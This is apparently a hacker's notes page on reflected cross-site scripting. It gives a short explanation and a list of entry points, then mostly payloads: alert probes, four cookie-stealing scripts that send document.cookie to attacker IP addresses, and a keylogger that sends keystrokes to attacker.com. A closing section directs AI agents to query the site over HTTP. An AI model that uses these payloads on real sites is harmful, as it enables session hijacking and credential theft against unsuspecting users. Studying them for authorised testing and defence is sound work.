# XSS Reflected

Reflected XSS

This starts by an attacker crafting a malicious email and then encouraging a user to click it. The malicious URL is often placed within a phishing email, but it could also be placed on a public website, such as a link within a comment. When the user clicks the malicious URL, it sends an HTTP request to a server with the user's cookie which the attacker can use to hijack the user/admin account through what's called session hijacking. To summarize, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

Entry points

* Parameters in the URL Query String
* URL File Path
* Sometimes HTTP Headers
* Search Fields
* Comments section
* Contact Forms

Example Payloads

JS

```javascript
<script>alert("Hello")</script>

<script>alert(window.location.hostname)</script>

"><script>alert('XSS');</script> 
[suitable for escaping input tags]

<textarea><script>alert('THM');</script>
[suitable for escaping text areas]

';alert('Hi_There');//'
```

Cookie Stealer

\[1] JS

```javascript
<script>fetch('http://10.8.133.250:8000/steal?cookie=' + btoa(document.cookie));</script>
```

\[2] JS

```javascript
<script>window.location='http://10.8.133.250:8000/cookie?'+document.cookie;</script>
```

\[3] JS

```javascript
<script>var myimg = new Image(); myimg.src = 'http://10.14.2.200/q?a=' + document.cookie;</script>
```

\[4] JS

```javascript
<script>document.location='http://ip:8000/XSS/grabber.php?c='+document.cookie;</script>
```

Keylogger

```
<script>document.onkeypress = 
    function(e) {
        fetch('http://attacker.com/log?key=' + btoa(e.key));
    }</script>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/xss/xss-reflected.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
